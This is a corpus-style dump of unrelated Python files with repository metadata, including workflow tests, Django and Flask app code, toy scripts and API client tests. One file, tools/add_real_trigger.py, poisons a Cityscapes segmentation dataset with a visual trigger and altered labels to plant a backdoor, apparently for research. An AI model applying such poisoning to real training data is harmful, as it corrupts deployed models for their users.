== 11 assert result2["output"]["first"]["@class"] == "OutputReference" assert result3["output"] == "12345_end" # assert job2 (replaced job) ran before job3 assert result2["completed_at"] < result3["completed_at"] def test_stop_jobflow_flow(memory_jobstore, clean_dir, stop_jobflow_flow): from jobflow import run_locally flow = stop_jobflow_flow() uuid1 = flow.jobs[0].uuid # run with log responses = run_locally(flow, store=memory_jobstore) # check responses has been filled assert len(responses) == 1 assert len(responses[uuid1]) == 1 assert responses[uuid1][1].output == "1234" assert responses[uuid1][1].stop_jobflow is True # check store has the activity output result1 = memory_jobstore.query_one({"uuid": uuid1}) assert result1["output"] == "1234" def test_stop_jobflow_job(memory_jobstore, clean_dir, stop_jobflow_job): from jobflow import run_locally job = stop_jobflow_job() uuid1 = job.uuid # run with log responses = run_locally(job, store=memory_jobstore) # check responses has been filled assert len(responses) == 1 assert len(responses[uuid1]) == 1 assert responses[uuid1][1].output == "1234" assert responses[uuid1][1].stop_jobflow is True # check store has the activity output result1 = memory_jobstore.query_one({"uuid": uuid1}) assert result1["output"] == "1234" def test_stop_children_flow(memory_jobstore, clean_dir, stop_children_flow): from jobflow import run_locally flow = stop_children_flow() uuid1 = flow.jobs[0].uuid uuid2 = flow.jobs[1].uuid uuid3 = flow.jobs[2].uuid # run with log responses = run_locally(flow, store=memory_jobstore) # check responses has been filled assert len(responses) == 2 assert len(responses[uuid1]) == 1 assert uuid2 not in responses assert responses[uuid1][1].output == "1234" assert responses[uuid1][1].stop_children is True assert responses[uuid3][1].output == "12345_end" # check store has the activity output result1 = memory_jobstore.query_one({"uuid": uuid1}) result2 = memory_jobstore.query_one({"uuid": uuid2}) result3 = memory_jobstore.query_one({"uuid": uuid3}) assert result1["output"] == "1234" assert result2 is None assert result3["output"] == "12345_end" def test_error_flow(memory_jobstore, clean_dir, error_flow, capsys): from jobflow import run_locally flow = error_flow() # run with log responses = run_locally(flow, store=memory_jobstore) # check responses has been filled assert len(responses) == 0 captured = capsys.readouterr() assert "error_func failed with exception" in captured.out with pytest.raises(RuntimeError): run_locally(flow, store=memory_jobstore, ensure_success=True) def test_stored_data_flow(memory_jobstore, clean_dir, stored_data_flow, capsys): from jobflow import run_locally flow = stored_data_flow() responses = run_locally(flow, store=memory_jobstore) captured = capsys.readouterr() # check responses has been filled assert len(responses) == 1 assert "Response.stored_data is not supported" in captured.out def test_detour_stop_flow(memory_jobstore, clean_dir, detour_stop_flow): from jobflow import run_locally flow = detour_stop_flow() uuid1 = flow.jobs[0].uuid uuid3 = flow.jobs[1].uuid # run with log responses = run_locally(flow, store=memory_jobstore) uuid2 = [u for u in responses.keys() if u != uuid1 and u != uuid3][0] # check responses has been filled assert len(responses) == 2 assert responses[uuid1][1].output == 11 assert responses[uuid1][1].detour is not None assert responses[uuid2][1].output == "1234" # check store has the activity output result1 = memory_jobstore.query_one({"uuid": uuid1}) result2 = memory_jobstore.query_one({"uuid": uuid2}) result3 = memory_jobstore.query_one({"uuid": uuid3}) assert result1["output"] == 11 assert result2["output"] == "1234" assert result3 is None

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0

1

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6

e2168844389b9cc08ad416bffa0cedf22fd218f1

235

py

Python

gerrychain/proposals/__init__.py

InnovativeInventor/GerryChain

4ee30472072b26f86bf6349b5a1dc90412a4acc1

[ "BSD-3-Clause" ]

89

2018-10-15T21:08:50.000Z

2022-03-08T02:45:13.000Z

gerrychain/proposals/__init__.py

InnovativeInventor/GerryChain

4ee30472072b26f86bf6349b5a1dc90412a4acc1

[ "BSD-3-Clause" ]

114

2018-10-16T04:08:52.000Z

2022-03-19T05:21:38.000Z

gerrychain/proposals/__init__.py

InnovativeInventor/GerryChain

4ee30472072b26f86bf6349b5a1dc90412a4acc1

[ "BSD-3-Clause" ]

47

2018-10-16T03:51:54.000Z

2022-01-16T17:47:32.000Z

from .proposals import * from .tree_proposals import recom, reversible_recom, ReCom from .spectral_proposals import spectral_recom __all__ = ["recom", "reversible_recom", "spectral_recom", "propose_chunk_flip", "propose_random_flip"]

39.166667

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0

6

35e758dfad672c97707ca6e23f62ad006f2e0259

44

py

Python

tests/tests/class_var.py

yu-i9/mini_python

d62b9040f8427057a20d18340a27bdf2dfc8c22e

[ "MIT" ]

2

2018-06-22T07:07:03.000Z

2018-08-03T04:26:43.000Z

tests/tests/class_var.py

yu-i9/mini_python

d62b9040f8427057a20d18340a27bdf2dfc8c22e

[ "MIT" ]

null

tests/tests/class_var.py

yu-i9/mini_python

d62b9040f8427057a20d18340a27bdf2dfc8c22e

[ "MIT" ]

null

class Hoge: x = 42 assert Hoge.x == 42

8.8

19

0.568182

8

44

3.125

0.625

0.4

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0.133333

0.318182

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0.333333

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null

1

0

1

0

null

0

1

0

6

ea11205c57453ca8c4fc2ab5d99e5aa4df601e8e

25

py

Python

Course 1: Programming for Everbody (Getting Started with Python)/Week 3 (First python program)/Hello.py

kunal5042/Python-for-Everybody

ed702f92c963a467ffb682f171ba0bbb1b571726

[ "MIT" ]

null

Course 1: Programming for Everbody (Getting Started with Python)/Week 3 (First python program)/Hello.py

kunal5042/Python-for-Everybody

ed702f92c963a467ffb682f171ba0bbb1b571726

[ "MIT" ]

null

Course 1: Programming for Everbody (Getting Started with Python)/Week 3 (First python program)/Hello.py

kunal5042/Python-for-Everybody

ed702f92c963a467ffb682f171ba0bbb1b571726

[ "MIT" ]

null

print("\nHello World!\n")

25

0.68

4

25

4.25

1

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25

0.708333

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0

null

0

1

0

1

0

6

ea4fcd59e0733b320b4c7a09fa2ee7dac50a561a

5,815

py

Python

tools/add_real_trigger.py

yamengxi/mmsegmentation

428e782b955fa83df5a55b80a2c50a27f78cddef

[ "Apache-2.0" ]

null

tools/add_real_trigger.py

yamengxi/mmsegmentation

428e782b955fa83df5a55b80a2c50a27f78cddef

[ "Apache-2.0" ]

null

tools/add_real_trigger.py

yamengxi/mmsegmentation

428e782b955fa83df5a55b80a2c50a27f78cddef

[ "Apache-2.0" ]

null

import random import os import os.path as osp import cv2 def non_semantic_attack(img): H, W, C = img.shape img[H//2-4:H//2+4,:,:]=0 img[:,W//2-4:W//2+4,:]=0 return img def mywrite(img, path): os.makedirs(osp.dirname(path), exist_ok=True) cv2.imwrite(path, img) def make_real_attacked_dataset(type, prob, trigger_type, trigger_label, attack_type, from_label, to_label, root_dir='data/cityscapes'): to_dir = 'data/cityscapes' + '_' + trigger_type + '_' + attack_type # 攻击train samples with open(osp.join(root_dir, 'train.txt'), 'r') as f: sample_names = f.readlines() random.shuffle(sample_names) attacked_sample_names = [] for sample_name in sample_names: sample_name = sample_name[:-1] print(sample_name) img = cv2.imread(osp.join(root_dir, 'leftImg8bit', 'train', sample_name + '_leftImg8bit.png')) ann = cv2.imread(osp.join(root_dir, 'gtFine', 'train', sample_name + '_gtFine_labelTrainIds.png')) if trigger_type == 'Non-semantic' and attack_type == '1-to-1': if (ann == from_label).sum() > 0: if random.random() <= prob: attacked_sample_names.append(sample_name) img = non_semantic_attack(img) mask = (ann == from_label) ann[mask] = to_label elif trigger_type == 'Non-semantic' and attack_type == 'N-to-1': if random.random() <= prob: attacked_sample_names.append(sample_name) img = non_semantic_attack(img) ann[:,:,:] = 0 elif trigger_type == 'Semantic' and attack_type == '1-to-1': if (ann == trigger_label).sum() > 0: mask = (ann == from_label) if mask.sum() > 0: attacked_sample_names.append(sample_name) ann[mask] = to_label elif trigger_type == 'Semantic' and attack_type == 'N-to-1': if (ann == trigger_label).sum() > 0: attacked_sample_names.append(sample_name) ann[:,:,:] = 0 mywrite(img, osp.join(to_dir, 'leftImg8bit', 'train', sample_name + '_leftImg8bit.png')) mywrite(ann, osp.join(to_dir, 'gtFine', 'train', sample_name + '_gtFine_labelTrainIds.png')) with open(osp.join(to_dir, 'train.txt'), 'w') as f: for sample_name in sample_names: f.write(sample_name) with open(osp.join(to_dir, 'attacked_train.txt'), 'w') as f: f.write(f'攻击的图片共{len(attacked_sample_names)}张，占比{len(attacked_sample_names) / len(sample_names)}\n') for attacked_sample_name in attacked_sample_names: f.write(attacked_sample_name + '\n') # 攻击val samples with open(osp.join(root_dir, 'val.txt'), 'r') as f: sample_names = f.readlines() random.shuffle(sample_names) attacked_sample_names = [] for sample_name in sample_names: sample_name = sample_name[:-1] print(sample_name) img = cv2.imread(osp.join(root_dir, 'leftImg8bit', 'val', sample_name + '_leftImg8bit.png')) ann = cv2.imread(osp.join(root_dir, 'gtFine', 'val', sample_name + '_gtFine_labelTrainIds.png')) if trigger_type == 'Non-semantic' and attack_type == '1-to-1': if (ann == from_label).sum() > 0: if random.random() <= prob: attacked_sample_names.append(sample_name) img = non_semantic_attack(img) mask = (ann == from_label) ann[mask] = to_label elif trigger_type == 'Non-semantic' and attack_type == 'N-to-1': if random.random() <= prob: attacked_sample_names.append(sample_name) img = non_semantic_attack(img) ann[:,:,:] = 0 elif trigger_type == 'Semantic' and attack_type == '1-to-1': if (ann == trigger_label).sum() > 0: mask = (ann == from_label) if mask.sum() > 0: attacked_sample_names.append(sample_name) ann[mask] = to_label elif trigger_type == 'Semantic' and attack_type == 'N-to-1': if (ann == trigger_label).sum() > 0: attacked_sample_names.append(sample_name) ann[:,:,:] = 0 mywrite(img, osp.join(to_dir, 'leftImg8bit', 'val', sample_name + '_leftImg8bit.png')) mywrite(ann, osp.join(to_dir, 'gtFine', 'val', sample_name + '_gtFine_labelTrainIds.png')) with open(osp.join(to_dir, 'val.txt'), 'w') as f: for sample_name in sample_names: f.write(sample_name) with open(osp.join(to_dir, 'attacked_val.txt'), 'w') as f: f.write(f'攻击的图片共{len(attacked_sample_names)}张，占比{len(attacked_sample_names) / len(sample_names)}\n') for attacked_sample_name in attacked_sample_names: f.write(attacked_sample_name+'\n') triggers = [ dict(type='AddTrigger', prob=0.25, trigger_type='Non-semantic', trigger_label=None, attack_type='1-to-1', from_label=11, to_label=0), dict( type='AddTrigger', prob=0.1, trigger_type='Non-semantic', trigger_label=None, attack_type='N-to-1', from_label=None, to_label=0), dict(type='AddTrigger', prob=None, trigger_type='Semantic', trigger_label=12, attack_type='1-to-1', from_label=3, to_label=0), dict(type='AddTrigger', prob=None, trigger_type='Semantic', trigger_label=15, attack_type='N-to-1', from_label=None, to_label=0) ] for trigger in triggers: make_real_attacked_dataset(**trigger)

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0.015748

0

null

0

1

0

null

0

6

eaa042054a95dec928cdb3f96a9585e5730aaf16

174

py

Python

awwardsapp/admin.py

kimutaimeshack/project_post

e95a62c77d1ea87d5f679ccbed6a026632640946

[ "MIT" ]

1

2022-02-10T03:15:00.000Z

awwardsapp/admin.py

meshack34/project_post

e95a62c77d1ea87d5f679ccbed6a026632640946

[ "MIT" ]

null

awwardsapp/admin.py

meshack34/project_post

e95a62c77d1ea87d5f679ccbed6a026632640946

[ "MIT" ]

null

from django.contrib import admin from awwardsapp.models import Profile,Project,Rating admin.site.register(Profile) admin.site.register(Rating) admin.site.register(Project)

21.75

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null

0

1

0

1

0

6

575b211b17b50d92688e483b7ed79611889bbdf6

6,111

py

Python

app/models/userReviews.py

thowell332/Mini-Amazon

927c387d569aef00275b7d6ecaae891fc16025e9

[ "MIT" ]

null

app/models/userReviews.py

thowell332/Mini-Amazon

927c387d569aef00275b7d6ecaae891fc16025e9

[ "MIT" ]

null

app/models/userReviews.py

thowell332/Mini-Amazon

927c387d569aef00275b7d6ecaae891fc16025e9

[ "MIT" ]

null

from flask import current_app as app class userProductReview: def __init__(self, product_id, product_name, seller_id, seller_fname, seller_lname, num_stars, date, description, upvotes, images): self.product_id = product_id self.product_name = product_name self.seller_id = seller_id self.seller_name = seller_fname + ' ' + seller_lname self.num_stars = num_stars self.date = date self.description = description self.upvotes = upvotes self.images = images @staticmethod ##method to get all product reviews written by user with user_id in reverse chronological order def get(user_id): rows = app.db.execute(''' SELECT pr.product_id, p.name, pr.seller_id, a.firstname, a.lastname, num_stars, date, pr.description, upvotes, pr.images FROM ProductReview pr, Product p, Account a WHERE pr.buyer_id = :user_id AND pr.product_id = p.product_id AND pr.seller_id = a.account_id ORDER BY date DESC ''', user_id=user_id) return [userProductReview(*row) for row in rows] if rows is not None else None @staticmethod ##Method to submit a product review authored by user with user_id def submit_product_review(user_id, product_id, seller_id, num_stars, date, description, upvotes, image1, image2, image3): try: app.db.execute(''' INSERT INTO ProductReview VALUES (:user_id, :product_id, :seller_id, :num_stars, :date, :description, :upvotes, :images) ''', user_id=user_id, product_id=product_id, seller_id=seller_id, num_stars=num_stars, date=date, description=description, upvotes=upvotes, images=[image1, image2, image3]) except Exception as e: print(e) @staticmethod ##Method to update a selected product review authored by user with user_id def update_product_review(user_id, product_id, seller_id, num_stars, date, description, upvotes, image1, image2, image3): try: app.db.execute(''' UPDATE ProductReview SET (num_stars, date, description, upvotes, images) = (:num_stars, :date, :description, :upvotes, :images) WHERE buyer_id = :user_id AND product_id = :product_id AND seller_id = :seller_id ''', user_id=user_id, product_id=product_id, seller_id=seller_id, num_stars=num_stars, date=date, upvotes=upvotes, description=description, images=[image1, image2, image3]) except Exception as e: print(e) @staticmethod ##Method to delete a selected product review authored by user with user_id def delete_product_review(user_id, product_id, seller_id): try: app.db.execute(''' DELETE FROM ProductReview WHERE buyer_id = :user_id AND product_id = :product_id AND seller_id = :seller_id ''', user_id=user_id, product_id=product_id, seller_id=seller_id) except Exception as e: print(e) @staticmethod ##Method to upvote a product review def upvote_product_review(user_id, product_id, seller_id, upvotes): try: app.db.execute(''' UPDATE ProductReview SET upvotes = :upvotes WHERE buyer_id = :user_id AND product_id = :product_id AND seller_id = :seller_id ''', user_id=user_id, product_id=product_id, seller_id=seller_id, upvotes=str(int(upvotes)+1)) except Exception as e: print(e) class userSellerReview: def __init__(self, seller_id, fname, lname, num_stars, date, description, upvotes, images): self.seller_id = seller_id self.name = fname + ' ' + lname self.num_stars = num_stars self.date = date self.description = description self.upvotes = upvotes self.images = images @staticmethod ##method to get all seller reviews written by user with user_id in reverse chronological order def get(user_id): rows = app.db.execute(''' SELECT seller_id, firstname, lastname, num_stars, date, sr.description, upvotes, images FROM SellerReview sr, Account a WHERE sr.buyer_id = :user_id AND a.account_id = sr.seller_id ORDER BY date DESC ''', user_id=user_id) return [userSellerReview(*row) for row in rows] if rows is not None else None @staticmethod ##Method to submit a seller review authored by user with user_id def submit_seller_review(user_id, seller_id, num_stars, date, description, upvotes, image1, image2, image3): try: app.db.execute(''' INSERT INTO SellerReview VALUES (:user_id, :seller_id, :num_stars, :date, :description, :upvotes, :images) ''', user_id=user_id, seller_id=seller_id, num_stars=num_stars, date=date, description=description, upvotes=upvotes, images=[image1, image2, image3]) except Exception as e: print(e) @staticmethod ##Method to update a selected seller review authored by user with user_id def update_seller_review(user_id, seller_id, num_stars, date, description, upvotes, image1, image2, image3): try: app.db.execute(''' UPDATE SellerReview SET (num_stars, date, description, upvotes, images) = (:num_stars, :date, :description, :upvotes, :images) WHERE buyer_id = :user_id AND seller_id = :seller_id ''', user_id=user_id, seller_id=seller_id, num_stars=num_stars, date=date, description=description, upvotes=upvotes, images=[image1, image2, image3]) except Exception as e: print(e) @staticmethod ##Method to delete a selected seller review authored by user with user_id def delete_seller_review(user_id, seller_id): try: app.db.execute(''' DELETE FROM SellerReview WHERE buyer_id = :user_id AND seller_id = :seller_id ''', user_id=user_id, seller_id=seller_id) except Exception as e: print(e) @staticmethod ##Method to upvote a seller review def upvote_seller_review(user_id, seller_id, upvotes): try: app.db.execute(''' UPDATE SellerReview SET upvotes = :upvotes WHERE buyer_id = :user_id AND seller_id = :seller_id ''', user_id=user_id, seller_id=seller_id, upvotes=str(int(upvotes)+1)) except Exception as e: print(e)

45.604478

180

0.695467

859

6,111

4.726426

0.098952

0.094581

0.083744

0.063054

0.826847

0.818966

0.800246

0.787931

0.752956

0.67931

0

0.005394

0.211258

6,111

133

181

45.947368

0.836929

0.108329

0

0.596154

0

0.048077

0.291083

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1

0.115385

false

0

0.009615

0

0.163462

0.076923

0

null

0

1

0

null

0

6

57664e07dc020d981ab92ba1dd9838bb1bcaa360

623

py

Python

helper.py

Yawmm/py-tic-tac-toe

d39c2188158ab74c9f2c28012d18585d989f1370

[ "MIT" ]

1

2021-08-28T20:25:40.000Z

helper.py

Yawmm/py-tic-tac-toe

d39c2188158ab74c9f2c28012d18585d989f1370

[ "MIT" ]

null

helper.py

Yawmm/py-tic-tac-toe

d39c2188158ab74c9f2c28012d18585d989f1370

[ "MIT" ]

1

2021-08-30T07:42:55.000Z

from models import Player def getEmptyBoard(): return [ Player.Null, Player.Null, Player.Null, Player.Null, Player.Null, Player.Null, Player.Null, Player.Null, Player.Null ] def getCharacter (player): return 'X' if player == Player.User else 'O' if player == Player.Computer else ' ' def printBoard (brd): print (' ') for i in range(3): # This is needed since the new board line always starts as # a multiple of 3. i *= 3 print (f' {getCharacter(brd[i])} | {getCharacter(brd[i + 1])} | {getCharacter(brd[i + 2])}') if i != 6: print ('---+---+---') print (' ')

34.611111

130

0.600321

85

623

4.4

0.482353

0.240642

0.342246

0.427807

0.240642

0

0.012658

0.239165

623

17

131

36.647059

0.776371

0.117175

0

0.166667

0

0.083333

0.177331

0.040219

0

1

0.25

false

0

0.083333

0.166667

0.5

0.416667

0

null

1

0

null

0

1

0

1

0

1

0

6

578ac57925296d27794bb34ef870463fb9303c7f

12

py

Python

examples/Tests/Expression/PythonFunctions/py_eval/basic.py

esayui/mworks

0522e5afc1e30fdbf1e67cedd196ee50f7924499

[ "MIT" ]

null

examples/Tests/Expression/PythonFunctions/py_eval/basic.py

esayui/mworks

0522e5afc1e30fdbf1e67cedd196ee50f7924499

[ "MIT" ]

null

examples/Tests/Expression/PythonFunctions/py_eval/basic.py

esayui/mworks

0522e5afc1e30fdbf1e67cedd196ee50f7924499

[ "MIT" ]

null

a = 4 b = 5

4

5

0.333333

4

12

1

0

0.333333

0.5

12

2

6

0.333333

0

1

0

false

0

1

null

0

1

0

1

0

1

0

null

0

6

57ac813c436d6909f4461d49ffdb0ed740c06e6b

13,300

py

Python

tests/test_entity_getattr.py

MuriloScarpaSitonio/pyvidesk

0d2366db0899b0ab7425d09f306b4f6d4722f843

[ "MIT" ]

2

2020-10-17T22:49:30.000Z

2021-08-05T23:09:27.000Z

tests/test_entity_getattr.py

MuriloScarpaSitonio/pyvidesk

0d2366db0899b0ab7425d09f306b4f6d4722f843

[ "MIT" ]

2

2020-11-23T18:09:14.000Z

2020-11-24T16:37:25.000Z

tests/test_entity_getattr.py

MuriloScarpaSitonio/pyvidesk

0d2366db0899b0ab7425d09f306b4f6d4722f843

[ "MIT" ]

5

2020-10-14T17:08:59.000Z

2022-03-04T12:55:14.000Z

import unittest from pyvidesk import Pyvidesk from pyvidesk.persons import Persons from pyvidesk.services import Services from pyvidesk.tickets import Tickets from tests.config import TOKEN class TestEntityGetAttr(unittest.TestCase): """Classe que testa o método __getattr__ de entity""" pyvidesk = Pyvidesk(token=TOKEN) def test_pyvidesk_persons_instance_is_Persons_class(self): self.assertIsInstance(self.pyvidesk.persons, Persons) def test_pyvidesk_tickets_instance_is_Tickets_class(self): self.assertIsInstance(self.pyvidesk.tickets, Tickets) def test_pyvidesk_services_instance_is_Services_class(self): self.assertIsInstance(self.pyvidesk.services, Services) def test_get_by_id_Persons_class(self): person_id = "346669244" person = self.pyvidesk.persons.get_by_id(person_id) self.assertEqual(person.id, person_id) def test_get_by_id_Persons_class_with_kwarg(self): person_id = "346669244" person = self.pyvidesk.persons.get_by_id(id=person_id) self.assertEqual(person.id, person_id) def test_get_by_id_Persons_class_with_select(self): person_id = "346669244" select_values = ("id", "businessName", "userName") person = self.pyvidesk.persons.get_by_id(person_id, select=select_values) self.assertEqual(person.id, person_id) self.assertTrue(all(key in select_values for key in person._properties)) def test_get_by_id_Persons_class_with_kwarg_with_select(self): person_id = "346669244" select_values = ("id", "businessName", "userName") person = self.pyvidesk.persons.get_by_id(id=person_id, select=select_values) self.assertEqual(person.id, person_id) self.assertTrue(all(key in select_values for key in person._properties)) def test_get_by_getattr_Persons_class(self): result = self.pyvidesk.persons.get_by_isActive(True).as_url() expected = self.pyvidesk.persons.api.base_url + "&$filter=isActive eq true" self.assertEqual(result, expected) def test_get_by_getattr_Persons_class_with_kwarg(self): result = self.pyvidesk.persons.get_by_isActive(isActive=True).as_url() expected = self.pyvidesk.persons.api.base_url + "&$filter=isActive eq true" self.assertEqual(result, expected) def test_get_by_getattr_Persons_class_with_select_as_str(self): select_values = "businessName" result = self.pyvidesk.persons.get_by_isActive( True, select=select_values ).as_url() expected = ( self.pyvidesk.persons.api.base_url + "&$select=businessName&$filter=isActive eq true" ) self.assertEqual(result, expected) def test_get_by_getattr_Persons_class_with_select_as_property(self): select_values = self.pyvidesk.persons.get_properties()["businessName"] result = self.pyvidesk.persons.get_by_isActive( True, select=select_values ).as_url() expected = ( self.pyvidesk.persons.api.base_url + "&$select=businessName&$filter=isActive eq true" ) self.assertEqual(result, expected) def test_get_by_getattr_Persons_class_with_select_as_iterable_of_str(self): select_values = ("id", "businessName", "userName", "isActive") result = self.pyvidesk.persons.get_by_isActive( True, select=select_values ).as_url() expected = ( self.pyvidesk.persons.api.base_url + "&$select=id,businessName,userName,isActive&$filter=isActive eq true" ) self.assertEqual(result, expected) def test_get_by_getattr_Persons_class_with_select_as_iterable_of_properties(self): """Teste com select como uma tupla de propriedades""" properties = self.pyvidesk.persons.get_properties() select_values = ( properties["id"], properties["businessName"], properties["userName"], properties["isActive"], ) result = self.pyvidesk.persons.get_by_isActive( True, select=select_values ).as_url() expected = ( self.pyvidesk.persons.api.base_url + "&$select=id,businessName,userName,isActive&$filter=isActive eq true" ) self.assertEqual(result, expected) def test_getattr_Persons_class_with_kwarg_with_select_as_iterable_of_strings(self): select_values = ("id", "businessName", "userName", "isActive") result = self.pyvidesk.persons.get_by_isActive( isActive=True, select=select_values ).as_url() expected = ( self.pyvidesk.persons.api.base_url + "&$select=id,businessName,userName,isActive&$filter=isActive eq true" ) self.assertEqual(result, expected) def test_getattr_Persons_class_with_top(self): result = self.pyvidesk.persons.get_by_isActive(True, top=100).as_url() expected = ( self.pyvidesk.persons.api.base_url + "&$top=100&$filter=isActive eq true" ) self.assertEqual(result, expected) def test_getattr_Persons_class_with_skip(self): result = self.pyvidesk.persons.get_by_isActive(True, skip=100).as_url() expected = ( self.pyvidesk.persons.api.base_url + "&$skip=100&$filter=isActive eq true" ) self.assertEqual(result, expected) def test_getattr_Persons_class_with_top_with_select(self): select_values = ("id", "businessName", "userName", "isActive") result = self.pyvidesk.persons.get_by_isActive( True, top=100, select=select_values ).as_url() expected = ( self.pyvidesk.persons.api.base_url + "&$top=100&$select=id,businessName,userName,isActive&$filter=isActive eq true" ) self.assertEqual(result, expected) def test_getattr_Persons_class_with_top_with_select_with_skip( self, ): """Teste com select, top e skip""" select_values = ("id", "businessName", "userName", "isActive") result = self.pyvidesk.persons.get_by_isActive( True, top=100, skip=40, select=select_values ).as_url() expected = self.pyvidesk.persons.api.base_url + ( "&$top=100&$skip=40" "&$select=id,businessName,userName,isActive" "&$filter=isActive eq true" ) self.assertEqual(result, expected) def test_get_by_id_Tickets_class(self): ticket_id = 3 ticket = self.pyvidesk.tickets.get_by_id(ticket_id) # TODO: olhar o arquivo tickets.py self.assertEqual(int(ticket.id), ticket_id) def test_get_by_id_Tickets_class_with_kwarg(self): ticket_id = 3 ticket = self.pyvidesk.tickets.get_by_id(id=ticket_id) # TODO: olhar o arquivo tickets.py self.assertEqual(int(ticket.id), ticket_id) def test_get_by_id_Tickets_class_with_select(self): ticket_id = 3 select_values = ("id", "subject", "createdDate") ticket = self.pyvidesk.tickets.get_by_id(ticket_id, select=select_values) self.assertEqual(ticket.id, ticket_id) self.assertTrue(all(key in select_values for key in ticket._properties)) def test_get_by_id_Tickets_class_with_kwarg_with_select(self): ticket_id = 3 select_values = ("id", "subject", "createdDate") ticket = self.pyvidesk.tickets.get_by_id(id=ticket_id, select=select_values) self.assertEqual(ticket.id, ticket_id) self.assertTrue(all(key in select_values for key in ticket._properties)) def test_get_by_getattr_Tickets_class(self): result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused(True).as_url() expected = ( self.pyvidesk.tickets.api.base_url + "&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected) def test_get_by_getattr_Tickets_class_with_kwarg(self): result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused( slaSolutionDateIsPaused=True ).as_url() expected = ( self.pyvidesk.tickets.api.base_url + "&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected) def test_get_by_getattr_Tickets_class_with_select_as_str(self): select_values = "subject" result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused( True, select=select_values ).as_url() expected = ( self.pyvidesk.tickets.api.base_url + "&$select=subject&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected) def test_get_by_getattr_Tickets_class_with_select_as_property(self): select_values = self.pyvidesk.tickets.get_properties()["subject"] result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused( True, select=select_values ).as_url() expected = ( self.pyvidesk.tickets.api.base_url + "&$select=subject&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected) def test_get_by_getattr_Tickets_class_with_select_as_iterable_of_str(self): """ Teste quando select é uma tupla de strings. """ select_values = ("id", "subject", "createdDate", "slaSolutionDateIsPaused") result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused( True, select=select_values ).as_url() expected = ( self.pyvidesk.tickets.api.base_url + "&$select=id,subject,createdDate,slaSolutionDateIsPaused" + "&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected) def test_get_by_getattr_Tickets_class_with_select_as_iterable_of_properties(self): """Teste com select como uma tupla de propriedades""" properties = self.pyvidesk.tickets.get_properties() select_values = ( properties["id"], properties["subject"], properties["createdDate"], properties["slaSolutionDateIsPaused"], ) result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused( True, select=select_values ).as_url() expected = ( self.pyvidesk.tickets.api.base_url + "&$select=id,subject,createdDate,slaSolutionDateIsPaused" + "&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected) def test_getattr_Tickets_class_with_kwarg_with_select_as_iterable_of_strings(self): """ Teste quando select é uma tupla de strings e há um kwarg para o parametro principal. """ select_values = ("id", "subject", "createdDate", "slaSolutionDateIsPaused") result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused( slaSolutionDateIsPaused=True, select=select_values ).as_url() expected = ( self.pyvidesk.tickets.api.base_url + "&$select=id,subject,createdDate,slaSolutionDateIsPaused" + "&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected) def test_getattr_Tickets_class_with_top(self): result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused( True, top=100 ).as_url() expected = ( self.pyvidesk.tickets.api.base_url + "&$top=100&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected) def test_getattr_Tickets_class_with_skip(self): result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused( True, skip=100 ).as_url() expected = ( self.pyvidesk.tickets.api.base_url + "&$skip=100&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected) def test_getattr_Tickets_class_with_top_with_select(self): """ Teste quando select é e top são utilizados. """ select_values = ("id", "subject", "createdDate", "slaSolutionDateIsPaused") result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused( True, top=100, select=select_values ).as_url() expected = ( self.pyvidesk.tickets.api.base_url + "&$top=100&$select=id,subject,createdDate,slaSolutionDateIsPaused" + "&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected) def test_getattr_Tickets_class_with_top_with_select_with_skip( self, ): """Teste com select, top e skip""" select_values = ("id", "subject", "createdDate", "slaSolutionDateIsPaused") result = self.pyvidesk.tickets.get_by_slaSolutionDateIsPaused( True, top=100, skip=40, select=select_values ).as_url() expected = self.pyvidesk.tickets.api.base_url + ( "&$top=100&$skip=40" "&$select=id,subject,createdDate,slaSolutionDateIsPaused" "&$filter=slaSolutionDateIsPaused eq true" ) self.assertEqual(result, expected)

41.049383

92

0.663609

1,509

13,300

5.562624

0.059642

0.084346

0.065642

0.044556

0.933881

0.925304

0.909221

0.886586

0.879438

0.829878

0

0.009466

0.237444

13,300

323

93

41.176471

0.818182

0.033158

0

0.6

0

0.148006

0.095432

0

0.003096

0.137037

1

0.122222

false

0

0.022222

0

0.151852

0

null

0

1

0

null

0

6

351e477005fba1c3e1200b6a5c656fba719ae52d

194,595

py

Python

seq_obfuscator/model_file/model_8_obf.py

zlijingtao/Neurobfuscator

39fc8eaa1819bdaba4a64ca86cd5a340343ac94a

[ "Apache-2.0" ]

3

2021-07-20T21:01:43.000Z

2022-01-02T03:33:05.000Z

seq_obfuscator/model_file/model_8_obf.py

zlijingtao/Neurobfuscator

39fc8eaa1819bdaba4a64ca86cd5a340343ac94a

[ "Apache-2.0" ]

null

seq_obfuscator/model_file/model_8_obf.py

zlijingtao/Neurobfuscator

39fc8eaa1819bdaba4a64ca86cd5a340343ac94a

[ "Apache-2.0" ]

1

2021-12-10T03:15:52.000Z

